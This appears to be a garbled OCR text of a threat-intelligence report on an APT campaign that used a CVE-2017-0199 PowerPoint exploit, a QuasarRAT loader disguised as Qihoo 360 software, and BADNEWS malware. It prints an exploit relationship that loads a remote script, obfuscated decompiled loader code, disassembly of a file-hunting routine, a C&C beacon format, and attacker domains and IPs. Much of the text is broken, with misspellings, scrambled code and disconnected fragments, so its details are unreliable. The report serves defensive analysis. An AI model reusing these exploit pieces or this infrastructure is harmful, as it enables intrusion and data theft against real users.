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4. ppsx CVE-2017-0199 ppt
sct

5. sct Powershell putty.exe
Strategic_Chain.pdf
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6. Entanglement  ppsx
CVE-2017-0199

<?xml version=""1.8" encoding="UTF-8" standalone="yes"?>

<Relationships xmlns="http://schemas.openxmnlformats.org/package/2006/relationships™>

<Relationship Id=""vId3" Type="http://schemas.openzmlformats.org/officebocument/20886/relationships/image”
Target="script:http://www._rannd.org/slide.sct' TargetHode="External"/>

7. ppsx
Powershell decoy ppt Powerpoint
ppt
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2.3 C

CVE-2015-2545  CVE-2017-0261

BADNEWS

QuasarRAT  BADNEWS


https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-2545
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0261
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3.1 QuasarRAT

Qiho 360

} S S ST T

‘Gereral| ersion “Cnmpalibilily 'Summary

File version:  1.0.0.0

Dezcription:  Qiko 360 Active Defence

Copyright: Copyright & 2014

tem name; Walue;

1.0.0.0

Comments

Corpany

File Wersion

Intemal Mame

Language

Legal Trademarks

Qriginal File name |
Product Mame

Product Wergion

Ok, l l Cancel ] Apply
EE microsoft_network Properties @
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Value | Frupetty
Description
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2. QuasarRAT
Loader

QuasarRAT

Loader
QuasarRAT

internal s
int =
while

i

Ttrue

switch {arg.

{
case @:
case 2:
gote IL_14;
case 1:
gote IL_1F;

race 2.

= -0 sy (TO00) T -

i
1]
{} AQSPIZWI1GdgEYXUKR

1} eSaamkow3a74pmezfL

1} oCsmaSxghhzyHifdu

=&

# Jf Base Types
¥ Derived Types

TEEECC

tor() : void
AR e T Foas
goto IL_2F;
case 4:
return;
default:
arg_61.e = 4;
break;
-
IL_1A:
CXSMBErBHZIyS9ACAX. kLjwdi IsCLsZtxedlksNoj();
IL_1F:
try
{

damcRnae donlinationlzen YoefarestibinTey

o, Base Types
¥ Derived Types
#, = Forml PumpType

arg AA @ = 7;
continue;
1

'
IL_@E:
Forml.CDoPweX7mosge6QtThq(this);
arg AA B = 5;

if (false)
goto IL_28;

¥

continue;

1L_28:

goto IL_BE;

IL_20:

goto IL_28;

IL_3D:

arg_AA @ = 2;

continue;

IL_64:
Forml.zNRDKZXWEGp1ITvFj20(this);
arg AA B = 10;

continue;

IL_ES:
Forml.qYaZCZXmDg9PEr1XOuM(this);
arg AS B = 8;

continue;

IL_92:
Forml.TExZBsXhyiKW6htC219(this);
gote IL_ES;

Forml.p2aQBLX8TbarjFGGTWS (18888) ;

dinally
i

1sAM79ESP72qitAI3Q.mUyisfAsn.Run( );

1. Beadiice

string text = Forml.KOUuIOXOXCp7eZtI16G(Forml.MWXMBEXHNudn6kTULWS());
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6. C&C

3.2 BADNEWS
C BADNEWS

1.
%PROGRAMDATA%\Microsoft\DeviceSync\VMwareCplLauncher.exe
%PROGRAMDATA%\Microsoft\DeviceSync\vmtools.dll
%PROGRAMDATA%\Microsoft\DeviceSync\MSBuild.exe
VMwareCplLauncher.exe vmtools.dl|

@
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dll BADNEWS MSBuild.exe
2. VMwareCplLauncher.exe vmtools.dll  vmtools.dlI
BaiduUpdateTask1
MSBuild.exe
3. MSBuild.exe

hxxps://raw.githubusercontent.com/husngilgit/husnahazrt/master/xml.xml

“r I Base64 base64
C&C
4. C&C
uuid=[UUID] #un=[ J#en=[ J#on=[ ] #lan=[IP
J#nop=#ver=1.0 AES

DD1876848203D9E10ABCEEC07282FF37 +base64
//e3e7e71a0b28b5e96cc492e636722f73//4sVKAOvu3D//ABDYotONXxyG.php
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text:00B620FO
text:00B620F 0
text:08B628F A
text:00B690F1
text:00B620F3
text:00B628F2
text:00B690FE
text:08B62180
text:00B62183
text:00B69104
text:88B69185
text:00B6218B
text:00B62108C
text:00B69111
text:00B62117
text:00B6211F
text:08B69125
text:00B69127
text:00B6212D
text:08B62130
text:08B62130
text:08B62130
text:00B69131
text:00B69133
text:B0B62136
text:00B62138
text:00B69139
text:88B6913E
text:00B62141
text:00B69141
text:00B69141
text:00B62141
fext:00B60 144
text:00B62148
text:00B6214A
text:00B6214D
text:00B69151
text:00B69153
text:88B62153
text:08B69153
text:00B62156
text:B8B62157
text:00B62159

var_4

loc_B69138:

loc_B69141:

loc_B69153:

dat

= dword ptr -4

push
mov
sub
mou
E{ild
mou
push
push
lea
push
push
call
cmp
lea
jz
mov
lea

push
call
cmp
jnz
push
call
add

add
cmp
jnz
add
cmp
jnz

pop
=or

pop

ebp

ebp, esp

esp, 218h

eax, _ security_cookie
eax, ebp

[ebp+var_4], eax

esi

edi

eax, [ebp+Buffer]

eax ; lpBuffer
184h ; nBufferLength
ds:GetLogicalDriveStringsW
[ebp+Buffer], 8

esi, [ebp+Buffer]

short loc_B69153

edi, ds:GetDriveTypeW

ec®, [ecx+0]

; CODE XREF: findsensefile+61}Lj
esi ; lpRootPathHame
edi ; GetDriveTypeW
eax, DRIVE_FIXED
short loc_B69141
esi

collegctfile

esp, 4
; CODE XREF: findsensefile+46tj
; findsensefile+58j

esi, 2

word ptr [esi], 8
short loc_B69141

esi, 2

wvord ptr [esi], 8
short loc_B69130

; CODE XREF: findsensefile+3571j
ecx, [ebp+var_4]
edi
ecx, ebp
esi

TPX498.dat

AES +base64

\e3e7e71a0b28b5e96cc492e636722f73\4sVKAOVU3D\UYEfgEpXAQE.php
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brokings.org
crazywomen-dating.com
ifenngnews.com
209.58.185.37
mail.ifenngnews.com
chinapolicyanalysis.org

C&C
94.242.249.203
209.58.183.33


http://brokings.org/index.php?f=Strategic_Chain.pdf
https://www.virustotal.com/#/url/40d75ec2b72c50660a51647268497a8407824e5b4233dfeef0ca4d313211ed77/detection
https://www.virustotal.com/#/url/09652d158755b30de3db4b92c2702646a98546ab9509327d5e765f8057527240/detection
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